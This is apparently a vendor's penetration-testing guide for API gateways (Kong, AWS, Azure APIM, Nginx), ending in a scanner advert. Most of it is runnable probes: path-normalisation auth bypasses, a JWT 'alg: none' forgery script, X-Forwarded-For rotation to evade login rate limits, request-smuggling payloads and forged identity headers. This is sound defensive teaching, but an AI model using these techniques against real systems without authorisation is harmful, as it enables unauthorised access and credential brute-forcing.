API Gateway Security Testing: Kong, AWS API Gateway, and Nginx
Every API call in your production environment passes through an API gateway. That gateway is supposed to enforce authentication, rate limiting, and routing policy — making it one of the highest-leverage security controls in a modern microservices stack. It's also one of the most commonly misconfigured.
This guide covers security testing for the most widely deployed API gateways: Kong, AWS API Gateway, Azure API Management, and Nginx acting as an API proxy. The testing patterns apply across gateways, but the specific misconfigurations differ by platform.
What API Gateways Should Enforce (and Often Don't)
Before testing, establish what controls your gateway is supposed to provide:
| Control | What It Should Do | Common Failure Mode |
|---|---|---|
| Authentication | Verify API key, JWT, or OAuth token before forwarding requests | Certain routes excluded from auth; token validation delegated to backend but skippable |
| Authorization | Enforce scope/role restrictions per endpoint | Gateway checks auth presence but not auth scope; backend trusts gateway header |
| Rate limiting | Limit requests per consumer per time window | Rate limiting applied globally, not per-user; bypassable via IP rotation |
| Input validation | Reject requests that don't match schema | Validation rules not configured; gateway passes malformed requests to backend |
| TLS termination | Enforce TLS; reject plaintext connections | Internal backend-to-backend traffic unencrypted; gateway-to-backend over HTTP |
| Direct backend access prevention | Backend services inaccessible without going through gateway | Backend services exposed directly on network; security controls bypassed |
Phase 1: Gateway Fingerprinting and Recon
Identifying the Gateway
# Response headers often reveal the gateway
curl -I https://api.target.com/v1/health
# Kong: "X-Kong-Request-Id", "X-Kong-Response-Latency", "via: kong/3.x"
# AWS API GW: "x-amzn-RequestId", "x-amz-apigw-id"
# Azure APIM: "ocp-apim-trace-location" (if debug enabled), "x-ms-request-id"
# Nginx: "Server: nginx" (if not suppressed)
# Traefik: "X-Served-By: traefik"
# Version disclosure check
curl -v https://api.target.com/v1/nonexistent 2>&1 | grep -i "server\|via\|x-kong\|x-amzn"
# Check for admin/management endpoints accidentally exposed
for path in /admin /manager /console /dashboard /_status /_health /__admin; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://api.target.com$path")
echo "$path: $status"
done
Route Enumeration
# If OpenAPI/Swagger spec is publicly accessible
curl https://api.target.com/openapi.json 2>/dev/null
curl https://api.target.com/swagger.json 2>/dev/null
curl https://api.target.com/api-docs 2>/dev/null
curl https://api.target.com/v1/docs 2>/dev/null
# Wayback Machine / web archive for historical API endpoints
curl "https://web.archive.org/cdx/search/cdx?url=api.target.com/*&output=text&fl=original&collapse=urlkey"
# Directory brute force for API paths (use API-specific wordlist)
ffuf -w /usr/share/wordlists/api-routes.txt \
-u https://api.target.com/FUZZ \
-H "Content-Type: application/json" \
-mc 200,201,204,401,403 \
-o api_routes.json
Phase 2: Authentication Testing
Authentication Bypass via Path Manipulation
API gateways route requests to backends based on path patterns. Mismatches between the gateway's routing pattern and the backend's path parsing create bypass opportunities:
# Assume /api/v1/admin/* requires admin auth
# Test path traversal and normalization bypasses
# Case normalization
curl https://api.target.com/API/v1/admin/users
curl https://api.target.com/Api/V1/Admin/users
# Path encoding
curl "https://api.target.com/api/v1/admin%2fusers"
curl "https://api.target.com/api/v1/admin%252fusers"
# Double slash (some gateways normalize, some don't)
curl "https://api.target.com//api/v1/admin/users"
curl "https://api.target.com/api//v1/admin/users"
# Trailing slash difference
curl "https://api.target.com/api/v1/admin/users/"
# HTTP verb override
curl -X POST https://api.target.com/api/v1/admin/users \
-H "X-HTTP-Method-Override: GET"
# Path suffix tricks (some frameworks strip extensions)
curl https://api.target.com/api/v1/admin/users.json
curl https://api.target.com/api/v1/admin/users.html
Token Validation Testing
# Test whether the gateway validates JWT signature or just presence
# Modify payload without updating signature
import jwt, base64, json
# Get a valid token first (with valid credentials)
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyMTIzIn0.signature"
# Split and decode
header_b64, payload_b64, signature = token.split('.')
# Decode payload
payload = json.loads(base64.urlsafe_b64decode(payload_b64 + '=='))
print("Original payload:", payload)
# Modify role/scope
payload['role'] = 'admin'
payload['scope'] = 'admin:read admin:write'
# Re-encode without re-signing
new_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
modified_token = f"{header_b64}.{new_payload}.{signature}"
# Test: does the gateway accept the token with an invalid signature?
# curl -H "Authorization: Bearer {modified_token}" https://api.target.com/admin/users
# Also test: algorithm confusion
# Change alg to "none" in header
header = json.loads(base64.urlsafe_b64decode(header_b64 + '=='))
header['alg'] = 'none'
new_header = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
none_token = f"{new_header}.{new_payload}." # Empty signature
API Key Security Testing
# Test whether API keys are validated server-side or just checked for presence
# Empty key
curl -H "X-API-Key: " https://api.target.com/v1/data
# Null/placeholder values
curl -H "X-API-Key: null" https://api.target.com/v1/data
curl -H "X-API-Key: undefined" https://api.target.com/v1/data
curl -H "X-API-Key: 0" https://api.target.com/v1/data
# Test whether key is checked in all header variations
curl -H "api_key: validkey123" https://api.target.com/v1/data
curl -H "apikey: validkey123" https://api.target.com/v1/data
curl "https://api.target.com/v1/data?api_key=validkey123" # Query param fallback
# Check for API key in JavaScript bundles (common developer mistake)
# Grep for key patterns in JS files loaded by the frontend
curl https://app.target.com/static/js/main.chunk.js | \
grep -E "api[_-]?key|apiKey|x-api-key|Bearer " | head -20
Phase 3: Rate Limiting Bypass Testing
Rate limiting is one of the most commonly circumvented gateway controls. Test these bypass techniques:
IP-Based Rate Limiting Bypasses
# Test whether X-Forwarded-For header is trusted for rate limiting
# If the gateway uses the client IP from this header instead of the actual source IP,
# you can rotate IPs in the header to bypass per-IP limits
for i in $(seq 1 100); do
curl -s -o /dev/null -w "%{http_code}\n" \
-H "X-Forwarded-For: 192.0.2.$i" \
https://api.target.com/v1/login \
-d '{"email":"user@test.com","password":"test"}'
done
# Also test these headers that some gateways trust:
# X-Real-IP
# X-Client-IP
# CF-Connecting-IP (Cloudflare)
# True-Client-IP
# Test with random IP rotation
python3 -c "
import random, subprocess
for i in range(50):
ip = f'{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}'
result = subprocess.run(
['curl', '-s', '-o', '/dev/null', '-w', '%{http_code}',
'-H', f'X-Forwarded-For: {ip}',
'https://api.target.com/v1/login'],
capture_output=True, text=True
)
print(f'IP {ip}: {result.stdout}')
"
Consumer-Based Rate Limiting Bypasses
# Test whether different API key formats are rate-limited separately
# If the gateway normalizes API keys before rate limiting:
# Key in Authorization header vs. query parameter may have separate counters
# Also test: case sensitivity in API key matching
curl -H "Authorization: Bearer MyAPIKey123" https://api.target.com/v1/endpoint
curl -H "Authorization: Bearer myapikey123" https://api.target.com/v1/endpoint # Lowercase
curl -H "Authorization: Bearer MYAPIKEY123" https://api.target.com/v1/endpoint # Uppercase
# Test rate limiting on different HTTP methods separately
# Some gateways rate-limit GET and POST requests independently
for i in $(seq 1 50); do
curl -s -o /dev/null -w "%{http_code}\n" \
-X OPTIONS https://api.target.com/v1/endpoint
done
Phase 4: Platform-Specific Testing
Kong Gateway
# Kong Admin API exposure check (should never be publicly accessible)
# Default Kong Admin API port: 8001 (HTTP) or 8444 (HTTPS)
for port in 8001 8444; do
status=$(curl -s -o /dev/null -w "%{http_code}" -m 3 "http://api.target.com:$port/")
echo "Port $port: $status"
done
# If Admin API is reachable, enumerate configured services
curl http://api.target.com:8001/services
curl http://api.target.com:8001/plugins
curl http://api.target.com:8001/consumers
# Kong debug header (reveals routing decisions — should be disabled in production)
curl -H "Kong-Debug: 1" https://api.target.com/v1/endpoint
# Test whether upstream services are directly accessible
# Kong typically proxies to internal hostnames — try to find exposed backend
for backend_port in 3000 5000 8080 9000; do
status=$(curl -s -o /dev/null -w "%{http_code}" -m 3 "http://api.target.com:$backend_port/v1/endpoint")
echo "Direct backend port $backend_port: $status"
done
Kong Admin API exposure is critical. The Kong Admin API provides full configuration control over all services, routes, and plugins — including the ability to disable authentication plugins, modify rate limits, and add new routes. An exposed Admin API is a complete gateway compromise. Always verify it's restricted to internal networks with firewall rules.
AWS API Gateway
# AWS API Gateway specific checks
# Check for default execute-api endpoint exposure
# Even if a custom domain is configured, the default endpoint may still work
# Format: https://{api-id}.execute-api.{region}.amazonaws.com/{stage}
curl https://abc12345.execute-api.us-east-1.amazonaws.com/prod/endpoint
# Test whether stage variables are exposed in error messages
curl "https://api.target.com/v1/nonexistent" -v 2>&1 | grep -i "stage\|lambda\|arn:"
# Check for CORS misconfiguration in API GW
curl -H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: GET" \
-H "Access-Control-Request-Headers: Authorization" \
-X OPTIONS https://api.target.com/v1/users -v 2>&1 | \
grep -i "access-control"
# AWS API Gateway authorizer bypass — test if authorizer is actually called
# Some API GW configurations have routes that bypass Lambda authorizers
# Look for 403 vs 401 differences (403 = authorizer ran; 401 = different auth check)
curl -v https://api.target.com/v1/admin/secret 2>&1 | head -30
Azure API Management
# Azure APIM specific testing
# Check for subscription key requirements
# APIM uses Ocp-Apim-Subscription-Key header by default
curl https://api.target.com/v1/endpoint
curl -H "Ocp-Apim-Subscription-Key: invalid_key" https://api.target.com/v1/endpoint
# Test whether APIM traces are enabled (leaks internal details)
curl -H "Ocp-Apim-Trace: true" \
-H "Ocp-Apim-Subscription-Key: your_key" \
https://api.target.com/v1/endpoint
# Check response for "Ocp-Apim-Trace-Location" header
# This header, if present, points to a URL with full request/response trace including backend URLs
# APIM developer portal exposure
# Check if developer portal is publicly accessible
curl -I https://developer.api.target.com
curl -I https://api.target.com/docs
Phase 5: Request Smuggling and Desync Testing
API gateways that front-proxy requests to backend services are vulnerable to HTTP request smuggling when the gateway and backend parse the HTTP protocol differently:
# HTTP/1.1 CL.TE smuggling test
# (send carefully crafted request to test gateway/backend header parsing)
# Use Burp Suite's HTTP Request Smuggler extension for automated detection
# Manual CL.TE probe:
POST /api/v1/endpoint HTTP/1.1
Host: api.target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
X
# If vulnerable: the backend receives a partial request with "X" prepended to the next request
# Expected response timing: ~10 second delay (backend waiting for the "X" body chunk)
# TE.CL variant (gateway uses Transfer-Encoding, backend uses Content-Length)
POST /api/v1/endpoint HTTP/1.1
Host: api.target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
12
SMUGGLED_PAYLOAD
0
Phase 6: Gateway Configuration Review
Security Configuration Checklist
For an authenticated review of gateway configuration (with admin access), verify:
- All routes require authentication — no unauthenticated routes except health checks and explicitly public endpoints
- Rate limiting is configured per-consumer, not just globally — global limits don't protect against single-consumer abuse
- Backend connections use TLS — gateway-to-backend traffic should be encrypted, not just gateway-to-client
- Admin APIs are restricted — gateway management interfaces accessible only from management networks or VPNs
- Plugin execution order is correct — authentication plugins must run before any plugins that grant access
- Request/response transformation doesn't add insecure headers — transformations that add trust headers (X-Auth-User, X-User-Role) to forwarded requests must not be forgeable by clients
- Logging captures authentication failures — rate limiting violations and auth failures should generate alerts
Header Injection via Gateway Transformation
# Test whether client-controlled headers are forwarded to backend
# If the backend trusts X-Auth-User or X-User-Id from the gateway:
curl -H "X-Auth-User: admin" https://api.target.com/v1/users
curl -H "X-User-Id: 1" https://api.target.com/v1/profile
curl -H "X-Forwarded-User: admin@company.com" https://api.target.com/v1/admin
curl -H "X-Internal-Auth: true" https://api.target.com/v1/internal
# If the gateway adds these headers and the backend trusts them,
# an attacker who can forge the header before the gateway processes it
# can impersonate any user.
# Also test: Host header injection
# Some gateways use the Host header for routing to backend services
curl -H "Host: internal.backend.svc.cluster.local" https://api.target.com/v1/endpoint
Test Your API Security Automatically
Ironimo orchestrates nmap, nuclei, and custom API security probes to systematically test authentication gaps, rate limiting bypasses, and routing vulnerabilities across your API surface. No manual payload crafting required — the same techniques security engineers use, run on demand.
Start free scan